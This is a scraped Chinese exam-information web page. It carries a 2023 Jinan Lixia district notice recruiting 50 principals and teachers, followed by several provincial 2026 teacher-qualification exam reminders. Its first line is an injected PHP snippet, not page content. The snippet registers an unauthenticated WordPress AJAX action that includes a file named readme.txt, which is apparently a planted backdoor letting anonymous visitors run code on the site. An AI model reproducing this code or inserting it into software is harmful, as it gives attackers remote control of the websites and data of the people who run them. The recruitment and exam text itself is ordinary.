if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
山东济南市历下区2023年引进名校长、名优教师工作50人公告-全国教师资格考试网

山东济南市历下区2023年引进名校长、名优教师工作50人公告

  为大力实施教育人才强区战略,推进我区义务教育高质量发展,现将济南市历下区公开引进名校长、名优教师有关事项面向社会公告:

  一、引进岗位计划

  引进计划50名。引进岗位分为名校长岗位、名教师岗位、优秀教师岗位。

  二、引进人员条件

  (一)具有中华人民共和国国籍,拥护中国共产党的领导,拥护中华人民共和国宪法,遵守国家法律法规,无违法违纪行为。

  (二)具有良好的品行和正常履行职责的身体条件。

  (三)除济南市各级各类事业单位在职在编人员以外的人员。

  (四)具有本科及以上学历,具有相应教师资格证书。

  (五)热爱教育事业,有强烈的事业心和责任感。认真执行国家教育方针,具有高尚的职业道德和修养,为人师表、关爱学生。有敬业奉献、团结合作、开拓创新的精神和品质。

  (六)从教以来年度考核结果均为合格及以上,无违反师德师风行为。

  (七)名校长还须具备以下条件:

  1.具有初中校长任职资格证书;

  2.现任学校正职校长,且任职满3年;不超过50周岁(1972年5月8日以后出生),具备高级教师及以上专业技术职务资格;

  3.具有先进的教育理念,办学目标明确,办学思路清晰,有较强的名校创建意识、专业发展能力。曾任职学校具有良好的办学风格和育人文化,办学特色鲜明,在省级及以上有较大影响,并获得同行专家和省级及以上教育行政部门肯定性评价。任职期间,学校或个人曾获得省级及以上教育行政部门的表彰;

  4.具有较强的行政管理和协调能力,治学严谨,具有较强的教学领导力,能够引领教师专业成长。廉政勤政,作风民主,办事公道,在师生中享有较高威望;

  5.具有较强的教育科研能力和科研组织管理能力。近5年内,任职学校有省级及以上科研立项课题和科研成果,或本人曾担任省级及以上科研课题研究项目负责人;

  6.教育管理能力强,获得省级及以上教育系统名校长称号(含在培养期内的建设工程人选)。

  (八)名教师还须具备以下条件:

  1.现任中小学相应教师岗位,不超过50周岁(1972年5月8日以后出生),具备高级教师及以上专业技术职务资格;

  2.具有符合时代特点的教育思想、先进的教育教学理念。对所教学科有系统、扎实的理论功底和丰富的教育教学经验,教学业绩突出,在本学科教学领域处于领先地位,获得过省特级教师、齐鲁名师(含在培养期内的建设工程人选)、省级及以上优秀教师(优秀班主任、优秀教育工作者)、省学科带头人、省教学能手等称号之一者;

  3.近5年内承担过省级及以上教育教学科研课题,或获得过省级及以上教学成果奖。

  (九)优秀教师还须具备以下条件:

  1.现任中小学相应教师岗位,不超过45周岁(1977年5月8日以后出生),具备一级教师及以上专业技术职务资格;

  2.具有符合时代特点的教育思想、先进的教育教学理念。对所教学科有系统、扎实的理论功底和丰富的教育教学经验,教学成绩优秀,获得过地市级及以上优秀教师(优秀班主任、优秀教育工作者)、名师(含在培养期内的建设工程人选)、学科带头人、教学能手等称号之一者。

  (十)引进名校长、名优教师岗位所需的其他条件详见《2023年济南市历下区公开引进名校长、名优教师岗位表》(附件)。

  (十一)下列人员不得引进:

  1.受过党纪、政纪处分;

  2.年度考核结果有基本合格及以下;

  3.正在受司法机关立案侦查、纪检监察部门立案审查;

  4.被依法列为失信联合惩戒对象的人员;

  5.不适合引进的其他情形。

  三、报名和资格审核

  采取统一时间、网上报名、网上审核的方式进行。

  1.报名时间:2023年5月8日8:00—5月11日17:00

  2.查询时间:2023年5月8日14:00—5月12日12:00

  报名、查询系统入口将在济南市历下区人民政府网(http://www.lixia.gov.cn)进行公布。

  3.个人报名。引进人员登录报名网站,按要求如实填写、提交个人相关报考信息。每人限报一个岗位,引进人员在资格审核前多次登录填报报名信息的,后一次所填报信息自动替换前一次填报信息。引进人员报名与考试时使用的身份证必须一致。引进人员有恶意注册报名信息、扰乱报名秩序等行为的,查实后取消其本次报考资格。

  4.资格审核。历下区教育和体育局指定专人负责资格审核工作,在报名期间对引进人员提交的信息资料进行资格审核,并反馈审核结果。引进人员在网上提交报考信息后,须及时查询报名资格审核结果。通过资格审核的人员,报名信息不能更改;报名资格尚未审核或未通过资格审核的人员,可以在查询时间内改报其他岗位。

  四、考试

  名校长岗位采取先面谈、后答辩的形式,名教师岗位采取先面谈、后试讲的形式,优秀教师岗位采取先笔试、后试讲的形式组织。面谈、答辩(试讲)成绩现场评判,现场公布。

  1.面谈(笔试)。面谈,主要考察引进人员的个人素养及教育教学理念。笔试采取统一命题、统一考试、统一阅卷的方式进行,主要考评引进人员的教育理论、教学理念、实践能力、教科研水平等。

  2.答辩(试讲)。答辩,主要考察办学思想、办学理念、教育管理成效、个人专业优势等方面水平。试讲,主要考察引进人员综合运用教育学、心理学等理论提炼课程内容、组织课程实施、运用教学资源等方面的能力。

  考试时间:优秀教师笔试时间初定在5月28日,名校长、名优教师的面谈、答辩(试讲)时间初定在6月3日,具体时间及有关安排将在济南市历下区人民政府网发布,请引进人员及时关注网站公告。

  面谈、答辩(试讲)当天开考前,引进人员携带报名资格审核材料的原件和复印件到指定现场,工作人员对审核合格人员提交的材料进行现场复审。提交材料如有弄虚作假者,一律取消引进资格。资格审查贯穿引进工作的全过程,在任何环节发现有不符合岗位要求的情况,取消引进资格。

  复审材料包括:报名表、本人二代身份证、毕业证、《教育部学历证书电子注册备案表》、相应教师资格证、校长任职资格证、专业技术职务任职资格证、自荐信(1000字以内)、各类荣誉证书和业绩证明(不超过6件)、引进人员应提交所在单位及具有人事管理权限主管部门出具的同意报考证明。出具证明有困难的,经个人申请后,待历下区教育和体育局同意,可在考察环节进行前提供。

  按照面谈(笔试)占40%、答辩(试讲)占60%的比例计算总成绩。所有成绩均计算到小数点后两位数,尾数四舍五入。答辩(试讲)设定最低合格分数线(70分),低于最低合格分数线的不得进入考察体检范围。考试结束后,根据总成绩从高分到低分, 按照引进计划依次等额组织考察体检。引进同一岗位人员出现总成绩并列的,按答辩(试讲)成绩由高分到低分确定。

  五、考察和体检

  考察体检工作由历下区教育和体育局负责组织实施,严格落实公开引进回避和保密等相关纪律规定。

  1.考察。考察根据岗位条件和要求,采取个别谈话、实地走访、严格审核人事档案等方式进行,主要侧重于思想政治表现、道德品质、业务能力和工作实绩等方面的情况,并对拟引进人员是否符合规定的岗位条件,提供的相关信息和材料是否真实准确进行复审。按照干部档案管理要求严格审核拟引进人员的档案,重点审核“三龄二历一身份”等内容,对档案中存在的问题认真进行调查,在规定时间内问题未查清、未处理到位的,视为不符合聘用条件,不予办理聘用手续。

  2.体检。体检应在县级以上综合性医院进行,体检标准和项目参照公务员录用体检标准执行,国家另有规定的从其规定。除特殊情况经历下区教育和体育局同意外,引进人员不按规定的时间、地点参加体检考核的,视为自愿放弃。对按规定需要复检的,给予1次复检机会,最终体检结果以复检结论为准。

  对放弃考察、体检或考察、体检不合格或无法出具有效证明造成的空缺,按照考试总成绩由高分到低分依次等额递补。在选择聘用单位阶段造成的人员空缺,也按上述方法依次递补。

  六、选择聘用单位

  名校长根据学校编制、岗位空缺情况,经干部管理权限部门同意后,由历下区教育和体育局进行聘任。名优教师组织现场选岗,岗位按照学校实际需求和空编空岗情况确定,学校及岗位于组织选岗前发布。选岗分岗位进行,考察体检合格的拟引进人员按照本岗位考试总成绩由高到低依次自主选岗;总成绩相同的,按答辩(试讲)成绩由高分到低分确定选岗顺序。拟引进人员在规定时间内选择聘用单位,在规定时间内不选择聘用单位的,视为自动放弃聘用资格。

  七、公示

  确定拟引进名校长、名优教师名单在济南市历下区人民政府网公示,公示期为7个工作日,公示期满无异议的拟引进人员,按照规定程序办理聘用手续。拟聘用人员与历下区教育和体育局所属事业单位签订聘用合同,签订聘用合同的聘期不低于5年。受聘人员按规定实行试用期,期满合格的正式聘用,不合格的解除聘用合同。

  八、有关待遇

  (一)引进的名校长、名优教师工资待遇按事业单位工资标准执行。从市外引进的齐鲁名师、齐鲁名校长等,经认定为济南市D类人才及以上的,按有关政策享受子女入学、住房保障等相关人才待遇。

  (二)引进的名校长,根据人才引进政策精神,按照历下区中小学校长职级绩效工资发放办法,执行一级校长职级绩效工资。引进的名优教师按取得的专业技术职务资格进行聘任,兑现工资待遇。引进的名教师成立个人名师工作室,并拨付相应的教育科研工作经费。

  以上待遇在实施中若与相关部门新出台文件规定不一致,按照新文件执行。

  九、违约责任

  引进的名校长、名优教师在聘期内有下列行为:严重违法违规行为、弄虚作假骗取优惠政策、不能按合同履行岗位职责、服务期不满5年离职的,终止享受后续待遇,返还除工作报酬以外的相关补贴,并依法依规追究其相应责任。

  十、特别提示

  请引进人员及时关注济南市历下区人民政府网的公告。因不可抗力导致本次引进工作时间调整的,历下区教育和体育局将综合考虑各种因素做出合理安排,并及时向社会发布公告。

咨询电话:0531—86553608;监督电话:0531—86553611(工作日上午8:30-11:30;下午13:30-17:00)。

  附件:山东济南市历下区2023年引进名校长、名优教师工作50人公告2023年济南市历下区公开引进名校长、名优教师岗位表.pdf

济南市历下区教育和体育局

2023年4月24日     

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部